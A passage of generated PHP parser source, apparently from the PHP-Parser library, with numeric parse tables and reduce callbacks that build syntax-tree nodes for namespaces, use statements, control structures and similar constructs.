656, 871, 550, 873, 874, 385, 392, 393, 1083, 558, 607, 886, 243, 552, 887, 375, 888, 895, 380, 383, 665, 453, 492, 486, 403, 1058, 594, 629, 450, 467, 617, 616, 604, 466, 425, 408, 928, 474, 451, 942, 341, 950, 709, 1090, 624, 476, 958, 625, 965, 968, 516, 517, 465, 980, 269, 983, 477, 1015, 647, 648, 995, 626, 627, 1013, 460, 584, 1021, 443, 1029, 1243, 444, 1033, 262, 1036, 276, 409, 426, 1041, 1042, 8, 1048, 671, 672, 10, 273, 496, 1073, 666, 440, 1089, 430, 1159, 1161, 544, 478, 1179, 1178, 659, 493, 1184, 1246, 438, 518, 461, 310, 519, 302, 327, 307, 534, 289, 328, 520, 462, 1252, 1260, 325, 30, 1280, 1291, 335, 562, 599 ); protected $ruleToNonTerminal = array( 0, 1, 3, 3, 2, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 9, 10, 11, 11, 11, 12, 12, 13, 13, 14, 15, 15, 16, 16, 17, 17, 18, 18, 21, 21, 22, 23, 23, 24, 24, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 29, 29, 30, 30, 32, 34, 34, 28, 36, 36, 33, 38, 38, 35, 35, 37, 37, 39, 39, 31, 40, 40, 41, 43, 44, 44, 45, 46, 46, 48, 47, 47, 47, 47, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 25, 25, 68, 68, 71, 71, 70, 69, 69, 62, 74, 74, 75, 75, 76, 76, 77, 77, 78, 78, 26, 26, 27, 27, 27, 27, 86, 86, 88, 88, 81, 81, 81, 82, 82, 85, 85, 83, 83, 89, 90, 90, 56, 56, 64, 64, 67, 67, 67, 66, 91, 91, 92, 57, 57, 57, 57, 93, 93, 94, 94, 95, 95, 96, 97, 97, 98, 98, 99, 99, 54, 54, 50, 50, 101, 52, 52, 102, 51, 51, 53, 53, 63, 63, 63, 63, 79, 79, 105, 105, 107, 107, 108, 108, 108, 108, 106, 106, 106, 110, 110, 110, 110, 87, 87, 113, 113, 113, 111, 111, 114, 114, 112, 112, 115, 115, 116, 116, 116, 116, 109, 109, 80, 80, 80, 20, 20, 20, 118, 117, 117, 119, 119, 119, 119, 59, 120, 120, 121, 60, 123, 123, 124, 124, 125, 125, 84, 126, 126, 126, 126, 126, 126, 131, 131, 132, 132, 133, 133, 133, 133, 133, 134, 135, 135, 130, 130, 127, 127, 129, 129, 137, 137, 136, 136, 136, 136, 136, 136, 136, 128, 138, 138, 140, 139, 139, 61, 100, 141, 141, 55, 55, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 148, 142, 142, 147, 147, 150, 151, 151, 152, 153, 153, 153, 19, 19, 72, 72, 72, 72, 143, 143, 143, 143, 155, 155, 144, 144, 146, 146, 146, 149, 149, 160, 160, 160, 160, 160, 160, 160, 160, 160, 161, 161, 104, 163, 163, 163, 163, 145, 145, 145, 145, 145, 145, 145, 145, 58, 58, 158, 158, 158, 158, 164, 164, 154, 154, 154, 165, 165, 165, 165, 165, 165, 73, 73, 65, 65, 65, 65, 122, 122, 122, 122, 168, 167, 157, 157, 157, 157, 157, 157, 157, 156, 156, 156, 166, 166, 166, 166, 103, 162, 170, 170, 169, 169, 171, 171, 171, 171, 171, 171, 171, 171, 159, 159, 159, 159, 173, 174, 172, 172, 172, 172, 172, 172, 172, 172, 175, 175, 175, 175 ); protected $ruleToLength = array( 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 2, 1, 3, 4, 1, 2, 0, 1, 1, 1, 1, 1, 3, 5, 4, 3, 4, 2, 3, 1, 1, 7, 6, 2, 3, 1, 2, 3, 1, 2, 3, 1, 1, 3, 1, 3, 1, 2, 2, 3, 1, 3, 2, 3, 1, 3, 2, 0, 1, 1, 1, 1, 1, 3, 7, 10, 5, 7, 9, 5, 3, 3, 3, 3, 3, 3, 1, 2, 5, 7, 9, 6, 5, 6, 3, 2, 1, 1, 1, 0, 2, 1, 3, 8, 0, 4, 2, 1, 3, 0, 1, 0, 1, 0, 1, 3, 1, 8, 9, 8, 7, 6, 8, 0, 2, 0, 2, 1, 2, 2, 0, 2, 0, 2, 0, 2, 2, 1, 3, 1, 4, 1, 4, 1, 1, 4, 2, 1, 3, 3, 3, 4, 4, 5, 0, 2, 4, 3, 1, 1, 7, 0, 2, 1, 3, 3, 4, 1, 4, 0, 2, 5, 0, 2, 6, 0, 2, 0, 3, 1, 2, 1, 1, 2, 0, 1, 3, 0, 2, 1, 1, 1, 1, 6, 8, 6, 1, 2, 1, 1, 1, 1, 1, 1, 1, 3, 3, 3, 3, 3, 3, 3, 3, 1, 2, 1, 1, 0, 1, 0, 2, 2, 2, 4, 3, 1, 1, 3, 1, 2, 2, 3, 2, 3, 1, 1, 2, 3, 1, 1, 3, 2, 0, 1, 5, 5, 10, 3, 5, 1, 1, 3, 0, 2, 4, 5, 4, 4, 4, 3, 1, 1, 1, 1, 1, 1, 0, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 3, 1, 1, 3, 2, 2, 3, 1, 0, 1, 1, 3, 3, 3, 4, 1, 1, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 5, 4, 3, 4, 4, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 3, 2, 1, 2, 4, 2, 2, 8, 9, 8, 9, 9, 10, 9, 10, 8, 3, 2, 0, 4, 2, 1, 3, 2, 2, 2, 4, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1, 1, 1, 0, 3, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 3, 3, 4, 1, 1, 3, 1, 1, 1, 1, 1, 3, 2, 3, 0, 1, 1, 3, 1, 1, 1, 1, 1, 3, 1, 1, 4, 4, 1, 4, 4, 0, 1, 1, 1, 3, 3, 1, 4, 2, 2, 1, 3, 1, 4, 4, 3, 3, 3, 3, 1, 3, 1, 1, 3, 1, 1, 4, 1, 1, 1, 3, 1, 1, 2, 1, 3, 4, 3, 2, 0, 2, 2, 1, 2, 1, 1, 1, 4, 3, 3, 3, 3, 6, 3, 1, 1, 2, 1 ); protected function initReduceCallbacks() { $this->reduceCallbacks = [ 0 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 1 => function ($stackPos) { $this->semValue = $this->handleNamespaces($this->semStack[$stackPos-(1-1)]); }, 2 => function ($stackPos) { if (is_array($this->semStack[$stackPos-(2-2)])) { $this->semValue = array_merge($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)]); } else { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }; }, 3 => function ($stackPos) { $this->semValue = array(); }, 4 => function ($stackPos) { $startAttributes = $this->lookaheadStartAttributes; if (isset($startAttributes['comments'])) { $nop = new Stmt\Nop($this->createCommentNopAttributes($startAttributes['comments'])); } else { $nop = null; }; if ($nop !== null) { $this->semStack[$stackPos-(1-1)][] = $nop; } $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 5 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 6 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 7 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 8 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 9 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 10 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 11 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 12 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 13 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 14 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 15 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 16 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 17 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 18 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 19 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 20 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 21 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 22 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 23 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 24 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 25 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 26 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 27 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 28 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 29 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 30 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 31 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 32 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 33 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 34 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 35 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 36 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 37 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 38 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 39 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 40 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 41 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 42 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 43 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 44 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 45 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 46 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 47 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 48 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 49 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 50 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 51 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 52 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 53 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 54 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 55 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 56 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 57 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 58 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 59 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 60 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 61 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 62 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 63 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 64 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 65 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 66 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 67 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 68 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 69 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 70 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 71 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 72 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 73 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 74 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 75 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 76 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 77 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 78 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 79 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 80 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 81 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 82 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 83 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 84 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 85 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 86 => function ($stackPos) { $this->semValue = new Node\Identifier($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 87 => function ($stackPos) { $this->semValue = new Node\Identifier($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 88 => function ($stackPos) { $this->semValue = new Node\Identifier($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 89 => function ($stackPos) { $this->semValue = new Node\Identifier($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 90 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 91 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 92 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 93 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 94 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 95 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 96 => function ($stackPos) { $this->semValue = new Name(substr($this->semStack[$stackPos-(1-1)], 1), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 97 => function ($stackPos) { $this->semValue = new Expr\Variable(substr($this->semStack[$stackPos-(1-1)], 1), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 98 => function ($stackPos) { /* nothing */ }, 99 => function ($stackPos) { /* nothing */ }, 100 => function ($stackPos) { /* nothing */ }, 101 => function ($stackPos) { $this->emitError(new Error('A trailing comma is not allowed here', $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes)); }, 102 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 103 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 104 => function ($stackPos) { $this->semValue = new Node\Attribute($this->semStack[$stackPos-(1-1)], [], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 105 => function ($stackPos) { $this->semValue = new Node\Attribute($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 106 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 107 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 108 => function ($stackPos) { $this->semValue = new Node\AttributeGroup($this->semStack[$stackPos-(4-2)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 109 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 110 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 111 => function ($stackPos) { $this->semValue = []; }, 112 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 113 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 114 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 115 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 116 => function ($stackPos) { $this->semValue = new Stmt\HaltCompiler($this->lexer->handleHaltCompiler(), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 117 => function ($stackPos) { $this->semValue = new Stmt\Namespace_($this->semStack[$stackPos-(3-2)], null, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); $this->semValue->setAttribute('kind', Stmt\Namespace_::KIND_SEMICOLON); $this->checkNamespace($this->semValue); }, 118 => function ($stackPos) { $this->semValue = new Stmt\Namespace_($this->semStack[$stackPos-(5-2)], $this->semStack[$stackPos-(5-4)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); $this->semValue->setAttribute('kind', Stmt\Namespace_::KIND_BRACED); $this->checkNamespace($this->semValue); }, 119 => function ($stackPos) { $this->semValue = new Stmt\Namespace_(null, $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); $this->semValue->setAttribute('kind', Stmt\Namespace_::KIND_BRACED); $this->checkNamespace($this->semValue); }, 120 => function ($stackPos) { $this->semValue = new Stmt\Use_($this->semStack[$stackPos-(3-2)], Stmt\Use_::TYPE_NORMAL, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 121 => function ($stackPos) { $this->semValue = new Stmt\Use_($this->semStack[$stackPos-(4-3)], $this->semStack[$stackPos-(4-2)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 122 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 123 => function ($stackPos) { $this->semValue = new Stmt\Const_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 124 => function ($stackPos) { $this->semValue = Stmt\Use_::TYPE_FUNCTION; }, 125 => function ($stackPos) { $this->semValue = Stmt\Use_::TYPE_CONSTANT; }, 126 => function ($stackPos) { $this->semValue = new Stmt\GroupUse($this->semStack[$stackPos-(7-3)], $this->semStack[$stackPos-(7-6)], $this->semStack[$stackPos-(7-2)], $this->startAttributeStack[$stackPos-(7-1)] + $this->endAttributes); }, 127 => function ($stackPos) { $this->semValue = new Stmt\GroupUse($this->semStack[$stackPos-(6-2)], $this->semStack[$stackPos-(6-5)], Stmt\Use_::TYPE_UNKNOWN, $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); }, 128 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 129 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 130 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 131 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 132 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 133 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 134 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 135 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 136 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 137 => function ($stackPos) { $this->semValue = new Stmt\UseUse($this->semStack[$stackPos-(1-1)], null, Stmt\Use_::TYPE_UNKNOWN, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); $this->checkUseUse($this->semValue, $stackPos-(1-1)); }, 138 => function ($stackPos) { $this->semValue = new Stmt\UseUse($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], Stmt\Use_::TYPE_UNKNOWN, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); $this->checkUseUse($this->semValue, $stackPos-(3-3)); }, 139 => function ($stackPos) { $this->semValue = new Stmt\UseUse($this->semStack[$stackPos-(1-1)], null, Stmt\Use_::TYPE_UNKNOWN, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); $this->checkUseUse($this->semValue, $stackPos-(1-1)); }, 140 => function ($stackPos) { $this->semValue = new Stmt\UseUse($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], Stmt\Use_::TYPE_UNKNOWN, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); $this->checkUseUse($this->semValue, $stackPos-(3-3)); }, 141 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; $this->semValue->type = Stmt\Use_::TYPE_NORMAL; }, 142 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-2)]; $this->semValue->type = $this->semStack[$stackPos-(2-1)]; }, 143 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 144 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 145 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 146 => function ($stackPos) { $this->semValue = new Node\Const_($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 147 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 148 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 149 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 150 => function ($stackPos) { $this->semValue = new Node\Const_($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 151 => function ($stackPos) { if (is_array($this->semStack[$stackPos-(2-2)])) { $this->semValue = array_merge($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)]); } else { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }; }, 152 => function ($stackPos) { $this->semValue = array(); }, 153 => function ($stackPos) { $startAttributes = $this->lookaheadStartAttributes; if (isset($startAttributes['comments'])) { $nop = new Stmt\Nop($this->createCommentNopAttributes($startAttributes['comments'])); } else { $nop = null; }; if ($nop !== null) { $this->semStack[$stackPos-(1-1)][] = $nop; } $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 154 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 155 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 156 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 157 => function ($stackPos) { throw new Error('__HALT_COMPILER() can only be used from the outermost scope', $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 158 => function ($stackPos) { if ($this->semStack[$stackPos-(3-2)]) { $this->semValue = $this->semStack[$stackPos-(3-2)]; $attrs = $this->startAttributeStack[$stackPos-(3-1)]; $stmts = $this->semValue; if (!empty($attrs['comments'])) {$stmts[0]->setAttribute('comments', array_merge($attrs['comments'], $stmts[0]->getAttribute('comments', []))); }; } else { $startAttributes = $this->startAttributeStack[$stackPos-(3-1)]; if (isset($startAttributes['comments'])) { $this->semValue = new Stmt\Nop($startAttributes + $this->endAttributes); } else { $this->semValue = null; }; if (null === $this->semValue) { $this->semValue = array(); } } }, 159 => function ($stackPos) { $this->semValue = new Stmt\If_($this->semStack[$stackPos-(7-3)], ['stmts' => is_array($this->semStack[$stackPos-(7-5)]) ? $this->semStack[$stackPos-(7-5)] : array($this->semStack[$stackPos-(7-5)]), 'elseifs' => $this->semStack[$stackPos-(7-6)], 'else' => $this->semStack[$stackPos-(7-7)]], $this->startAttributeStack[$stackPos-(7-1)] + $this->endAttributes); }, 160 => function ($stackPos) { $this->semValue = new Stmt\If_($this->semStack[$stackPos-(10-3)], ['stmts' => $this->semStack[$stackPos-(10-6)], 'elseifs' => $this->semStack[$stackPos-(10-7)], 'else' => $this->semStack[$stackPos-(10-8)]], $this->startAttributeStack[$stackPos-(10-1)] + $this->endAttributes); }, 161 => function ($stackPos) { $this->semValue = new Stmt\While_($this->semStack[$stackPos-(5-3)], $this->semStack[$stackPos-(5-5)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 162 => function ($stackPos) { $this->semValue = new Stmt\Do_($this->semStack[$stackPos-(7-5)], is_array($this->semStack[$stackPos-(7-2)]) ? $this->semStack[$stackPos-(7-2)] : array($this->semStack[$stackPos-(7-2)]), $this->startAttributeStack[$stackPos-(7-1)] + $this->endAttributes); }, 163 => function ($stackPos) { $this->semValue = new Stmt\For_(['init' => $this->semStack[$stackPos-(9-3)], 'cond' => $this->semStack[$stackPos-(9-5)], 'loop' => $this->semStack[$stackPos-(9-7)], 'stmts' => $this->semStack[$stackPos-(9-9)]], $this->startAttributeStack[$stackPos-(9-1)] + $this->endAttributes); }, 164 => function ($stackPos) { $this->semValue = new Stmt\Switch_($this->semStack[$stackPos-(5-3)], $this->semStack[$stackPos-(5-5)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 165 => function ($stackPos) { $this->semValue = new Stmt\Break_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 166 => function ($stackPos) { $this->semValue = new Stmt\Continue_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 167 => function ($stackPos) { $this->semValue = new Stmt\Return_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 168 => function ($stackPos) { $this->semValue = new Stmt\Global_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 169 => function ($stackPos) { $this->semValue = new Stmt\Static_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 170 => function ($stackPos) { $this->semValue = new Stmt\Echo_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 171 => function ($stackPos) { $this->semValue = new Stmt\InlineHTML($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 172 => function ($stackPos) { $e = $this->semStack[$stackPos-(2-1)]; if ($e instanceof Expr\Throw_) { // For backwards-compatibility reasons, convert throw in statement position into // Stmt\Throw_ rather than Stmt\Expression(Expr\Throw_). $this->semValue = new Stmt\Throw_($e->expr, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); } else { $this->semValue = new Stmt\Expression($e, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); } }, 173 => function ($stackPos) { $this->semValue = new Stmt\Unset_($this->semStack[$stackPos-(5-3)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 174 => function ($stackPos) { $this->semValue = new Stmt\Foreach_($this->semStack[$stackPos-(7-3)], $this->semStack[$stackPos-(7-5)][0], ['keyVar' => null, 'byRef' => $this->semStack[$stackPos-(7-5)][1], 'stmts' => $this->semStack[$stackPos-(7-7)]], $this->startAttributeStack[$stackPos-(7-1)] + $this->endAttributes); }, 175 